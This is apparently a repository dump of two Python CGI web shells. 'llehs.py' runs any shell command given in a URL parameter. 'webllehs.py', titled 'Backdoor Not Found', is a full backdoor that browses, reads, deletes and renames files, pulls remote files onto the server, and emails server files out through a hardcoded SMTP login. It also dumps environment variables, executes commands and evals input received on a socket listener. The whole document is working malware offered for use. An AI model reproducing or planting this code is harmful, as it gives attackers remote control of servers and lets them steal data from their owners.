├── README
├── llehs.py
└── webllehs.py
/README:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/evilcos/python-webshell/4af0a5501c7a75b7de88b51f10ee7e1449a1738a/README
--------------------------------------------------------------------------------
/llehs.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | # by enisoc 2009-13-79 12:73:-12
3 |
4 | import os
5 | import time
6 | import socket
7 | import urllib,urllib2
8 |
9 | FILE_NAME = 'llehs.py'
10 |
11 | def escape(content):
12 | content = content.replace("&", "&")
13 | content = content.replace("<", "<")
14 | content = content.replace(">", ">")
15 | if 0:
16 | content = content.replace('"', """)
17 | return content
18 | def get(name):
19 | q_str = os.environ['QUERY_STRING']
20 | q_list = q_str.split('&')
21 | for q in q_list:
22 | if q.split('=')[0].lower() == name:
23 | value = q.split('=')[1].replace('+',' ')
24 | return urllib.unquote(value)
25 |
26 | try:
27 | cmd = get('cmd')
28 | if not cmd:
29 | cmd = 'id'
30 | cmd_result = os.popen(cmd).read()
31 | except Exception,e:
32 | cmd_result = str(e)
33 |
34 | print """Content-type: text/html
35 |
36 |
37 |
38 |
39 |
40 | llehs <<
41 |
49 |
50 |
51 |
52 |
56 | """
57 | print "-------------------------------------
"
58 | print escape(cmd_result).strip().replace(os.linesep,'
')
59 | print "
-------------------------------------
"
60 | print """@xeyeteam 2009. linux shell"""
61 |
--------------------------------------------------------------------------------
/webllehs.py:
--------------------------------------------------------------------------------
1 | #encoding=utf8
2 | #
3 | #Version: 1.5
4 | #Author: cosine
5 | #Date: 2010/07
6 | #Desc:
7 | #webllehs - Backdoor Not Found
8 | #from http://xeyeteam.appspot.com/
9 | import sys, os
10 | import re
11 | import cgi
12 | import time
13 | import socket
14 | import shutil
15 | import urllib
16 | import urllib2
17 | import smtplib
18 | from email.Header import Header
19 | from email.MIMEText import MIMEText
20 | from email.MIMEMultipart import MIMEMultipart
21 |
22 | #sys.stderr = sys.stdout
23 |
24 | #初始化变量++++++++++++++++++++++++++++++++++++++++++++++++++++
25 |
26 | #该程序依据path参数标志出当前所在目录,此变量不需修改
27 | #例如: http://www.test.com/webllehs.py?path=.
28 | path = '.'
29 |
30 | #SELF_NAME的指必须与该程序的文件名相同
31 | SELF_NAME = 'webllehs.py'
32 |
33 | #初始化变量++++++++++++++++++++++++++++++++++++++++++++++++++++
34 |
35 | class XeyeHandle:
36 | def __init__(self):
37 | pass
38 | def isExists(self, resource):
39 | try:
40 | if os.path.exists(resource):
41 | return True
42 | else:
43 | return False
44 | except:
45 | return False
46 | def listDir(self, path):
47 | try:
48 | return os.listdir(path)
49 | except:
50 | print '路径错误。'
51 | return []
52 | def listFormatedDir(self, path):
53 | allDir = self.listDir(path)
54 | os.chdir(path)
55 | print ''
56 | print '资源 | 最后修改时间 | 大小 | 模式 | 操作 |
'
57 | for i in allDir:
58 | if os.path.isdir(i):
59 | print '%s | %s | - | %s | %s |
'\
60 | %('' + i + '', self.lastModified(i), self.resourceMode(i), \
61 | 'Del/Rename')
62 | for i in allDir:
63 | if not os.path.isdir(i):
64 | print '%s | %s | %sKB | %s | %s |
'\
65 | %(i, self.lastModified(i), self.fileSize(i), self.resourceMode(i), \
66 | 'R/C/D/\
67 | Del/Rename')
68 |
69 | print '
'
70 |
71 | def currentPath(self):
72 | return os.getcwd()
73 | def url(self):
74 | return 'http://' + os.environ['SERVER_NAME'] + os.environ['SCRIPT_NAME']
75 |
76 | def lastModified(self, resource):
77 | m = os.path.getmtime(resource)
78 | return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(m))
79 | def fileSize(self, _file):
80 | s = str(os.path.getsize(_file)/1024.0)
81 | site = s.split('.')[0] + '.' + s.split('.')[1][:2]
82 | return site
83 | def resourceMode(self, resource):
84 | xrw = ''
85 | if os.access(resource, os.R_OK):
86 | xrw += 'R/'
87 | else:
88 | xrw += '-/'
89 | if os.access(resource, os.W_OK):
90 | xrw += 'W/'
91 | else:
92 | xrw += '-/'
93 | if os.access(resource, os.X_OK):
94 | xrw += 'X'
95 | else:
96 | xrw += '-'
97 | return xrw
98 | def delFold(self, fold):
99 | try:
100 | __str = str(fold).split('/')
101 | __fold = __str[len(__str)-1:len(__str)][0]
102 | except:
103 | __fold = fold
104 | try:
105 | os.rmdir(fold)
106 | return '目录(' + __fold + ')删除成功。'
107 | except:
108 | return '目录(' + __fold + ')删除失败。'
109 | def delFile(self, _file):
110 | try:
111 | __str = str(_file).split('/')
112 | __file = __str[len(__str)-1:len(__str)][0]
113 | except:
114 | __file = _file
115 | try:
116 | os.unlink(_file)
117 | return '文件(' + __file + ')删除成功。'
118 | except:
119 | return '文件(' + __file + ')删除失败。'
120 | def rename(self, resource1, resource2):
121 | try:
122 | __str = str(resource1).split('/')
123 | __resource1 = __str[len(__str)-1:len(__str)][0]
124 | __str = str(resource2).split('/')
125 | __resource2 = __str[len(__str)-1:len(__str)][0]
126 | except:
127 | __resource1 = resource1
128 | __resource2 = resource2
129 | try:
130 | os.rename(resource1, resource2)
131 | return __resource1 + '重命名为' + __resource2 + '成功。'
132 | except:
133 | return __resource1 + '重命名为' + __resource2 + '失败。'
134 | def copyFile(self, resource1, resource2):
135 | try:
136 | __str = str(resource1).split('/')
137 | __resource1 = __str[len(__str)-1:len(__str)][0]
138 | except:
139 | __resource1 = resource1
140 | __resource2 = resource2
141 | try:
142 | shutil.copyfile(resource1, resource2)
143 | return __resource1 + '复制到' + __resource2 + '成功。'
144 | except:
145 | return __resource1 + '复制到' + __resource2 + '失败。'
146 | def createFold(self, fold):
147 | try:
148 | os.mkdir(fold)
149 | return '文件夹' + str(fold) + '创建成功。'
150 | except:
151 | return '文件夹' + str(fold) + '创建失败。'
152 | def getFileContent(self, _file):
153 | f = open(_file, 'r')
154 | flist = f.readlines()
155 | f.close()
156 | content = ''.join(flist)
157 | #try:
158 | #content = content.decode('utf-8').encode('gb2312')
159 | #except:
160 | #pass
161 | return self.escape(content).replace('\n','
')
162 | def serverInfo(self, environ=os.environ):
163 | keys = environ.keys()
164 | keys.sort()
165 | i = 0
166 | info = ''
167 | info += '名称 | 值 |
'
168 | for key in keys:
169 | info += ''+self.escape(key)+' | '+self.escape(environ[key])+' |
'
170 | info += '
'
171 | return info
172 |
173 | def get(self, name):
174 | q_str = os.environ['QUERY_STRING']
175 | q_list = q_str.split('&')
176 | for q in q_list:
177 | if q.split('=')[0].lower() == name:
178 | return urllib.unquote(q.split('=')[1].replace('+',' '))
179 | def escape(self, content):
180 | content = content.replace("&", "&")
181 | content = content.replace("<", "<")
182 | content = content.replace(">", ">")
183 | if 0:
184 | content = content.replace('"', """)
185 | return content
186 | def startSocket(self):
187 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
188 | sock.bind(('60.32.52.10', 8077))
189 | sock.listen(3)
190 | while True:
191 | connection,address = sock.accept()
192 | #connection.settimeout(5)
193 | bufcmd = connection.recv(1024)
194 | print 'your command is:
'
195 | print bufcmd
196 | print '
--------------------------------------
'
197 | if bufcmd == 'exit':
198 | print 'socket exit......
'
199 | connection.send('bye!')
200 | break
201 | else:
202 | try:
203 | print bufcmd + '>> eval result:
'
204 | print eval(bufcmd) + '
'
205 | connection.send('success!')
206 | except:
207 | print '指令执行失败......
'
208 | connection.send('fail!')
209 | #def evalCmd(self, cmd):
210 | # yourcmd = urllib.unquote(cmd)
211 | # try:
212 | # print yourcmd + '>> eval result:
'
213 | # print eval(yourcmd) + '
'
214 | # except:
215 | # print '指令执行失败......
'
216 | def evalCmd(self, cmd):
217 | cmd_result = os.popen(cmd).read()
218 | cmd_result = self.escape(cmd_result).strip().replace(os.linesep,'
')
219 | print cmd + '>> eval result:
'
220 | print cmd_result + '
'
221 | def uploadFile(self, url, localpath):
222 | try:
223 | urllib.urlretrieve(url,localpath)
224 | return '文件' + url + '上传成功。'
225 | except:
226 | return '文件' + url + '上传失败。'
227 | def email(self, _to, _file):
228 | try:
229 | __str = str(_file).split('/')
230 | __file = __str[len(__str)-1:len(__str)][0]
231 | except:
232 | __file = _file
233 | try:
234 | msg = MIMEMultipart()
235 | att = MIMEText(open(_file, 'rb').read(), 'base64', 'gb2312')
236 | att["Content-Type"] = 'application/octet-stream'
237 | att["Content-Disposition"] = 'attachment; filename=' + __file
238 | msg.attach(att)
239 |
240 | msg['to'] = _to
241 | msg['from'] = 'supern0va@126.com'
242 | msg['subject'] = Header('from py_webshell: ' + __file, 'utf-8')
243 | server = smtplib.SMTP('smtp.126.com')
244 | server.login('supern0va@126.com', 'supernova *')
245 | server.sendmail(msg['from'], msg['to'], msg.as_string())
246 | server.close
247 | return '文件' + __file + '发送到' + _to + '成功。'
248 | except:
249 | return '文件' + __file + '发送到' + _to + '失败。'
250 |
251 |
252 | __x = XeyeHandle()
253 |
254 | print """Content-type: text/html
255 |
256 |
257 |
258 |
259 |
260 | Backdoor Not Found
261 |
269 |
360 |
361 | """
362 |
363 | #form = cgi.FieldStorage()
364 | #print 'cgi form', form.keys()
365 |
366 | #delete file
367 | try:
368 | del_file = __x.get('delfile')
369 | if del_file:
370 | try:
371 | path = __x.get('path')
372 | except:
373 | path = ''
374 | print __x.delFile(del_file), '| 返回'
375 | print '
'
376 | except:
377 | pass
378 | #delete fold
379 | try:
380 | del_fold = __x.get('delfold')
381 | if del_fold:
382 | try:
383 | path = __x.get('path')
384 | except:
385 | path = ''
386 | print __x.delFold(del_fold), '| 返回'
387 | print '
'
388 | except:
389 | pass
390 | #rename file or fold
391 | try:
392 | oldname = __x.get('oldname')
393 | newname = __x.get('newname')
394 | if oldname and newname:
395 | try:
396 | path = __x.get('path')
397 | except:
398 | path = ''
399 | print __x.rename(oldname, newname), '| 返回'
400 | print '
'
401 | except:
402 | pass
403 | #copy file
404 | try:
405 | copyname = __x.get('copyname')
406 | newname = __x.get('newname')
407 | if copyname and newname:
408 | try:
409 | path = __x.get('path')
410 | except:
411 | path = ''
412 | print __x.copyFile(copyname, newname), '| 返回'
413 | print '
'
414 | except:
415 | pass
416 | #create fold
417 | try:
418 | createfold = __x.get('createfold')
419 | if createfold:
420 | try:
421 | path = __x.get('path')
422 | except:
423 | path = ''
424 | print __x.createFold(createfold), '| 返回'
425 | print '
'
426 | except:
427 | pass
428 | #upload file from internet
429 | try:
430 | targeturl = __x.get('targeturl')
431 | localpath = __x.get('localpath')
432 | if targeturl and localpath:
433 | try:
434 | path = __x.get('path')
435 | except:
436 | path = ''
437 | print __x.uploadFile(targeturl, localpath), '| 返回'
438 | print '
'
439 | except:
440 | pass
441 | #mail file to target-email
442 | try:
443 | mailto = __x.get('emailto')
444 | mailfile = __x.get('emailfile')
445 | if mailto and mailfile:
446 | try:
447 | path = __x.get('path')
448 | except:
449 | path = ''
450 | print __x.email(mailto, mailfile), '| 返回'
451 | print '
'
452 | except:
453 | pass
454 | #read content of file
455 | try:
456 | readfile = __x.get('readfile')
457 | if readfile:
458 | try:
459 | path = __x.get('path')
460 | except:
461 | path = ''
462 | print '文件内容如下: | 返回'
463 | print '
-------------------------------------------------------------
'
464 | print __x.getFileContent(readfile)
465 | print '
-------------------------------------------------------------
'
466 | except:
467 | pass
468 | #server info
469 | try:
470 | serverinfo = __x.get('serverinfo')
471 | if serverinfo == "true":
472 | try:
473 | path = __x.get('path')
474 | except:
475 | path = ''
476 | print '服务器信息如下: | 返回'
477 | print '
-------------------------------------------------------------
'
478 | print __x.serverInfo()
479 | print '
-------------------------------------------------------------
'
480 | except:
481 | pass
482 | #socket connection
483 | try:
484 | socketinfo = __x.get('socket')
485 | if socketinfo == "true":
486 | try:
487 | path = __x.get('path')
488 | except:
489 | path = ''
490 | print 'Socket通信执行如下: | 返回'
491 | print '
-------------------------------------------------------------
'
492 | __x.startSocket()
493 | print '
-------------------------------------------------------------
'
494 | except:
495 | pass
496 | #eval cmd
497 | try:
498 | cmd = __x.get('cmd')
499 | if cmd:
500 | try:
501 | path = __x.get('path')
502 | except:
503 | path = ''
504 | print '命令执行结果如下: | 返回'
505 | print '
-------------------------------------------------------------
'
506 | __x.evalCmd(cmd)
507 | print '
-------------------------------------------------------------
'
508 | except:
509 | pass
510 |
511 | #absolute path
512 | try:
513 | path = __x.get('path')
514 | if path == '' or path == '.':
515 | path = __x.currentPath()
516 | except Exception,e:
517 | path = __x.currentPath()
518 |
519 | print "
524 | """
525 | print 'Webshell目录 | 创建目录 \
526 | | 上传文件 | Email发送文件 \
527 | | 执行命令 | Socket反弹 \
528 | | 服务器信息 |
'
529 |
530 | print "上级目录 | 当前路径(" + path + ")下的资源:
"
531 | __x.listFormatedDir(path)
532 |
533 | print """
(C)Xeye Team - Hacking No Area 2010
534 | """
535 |
--------------------------------------------------------------------------------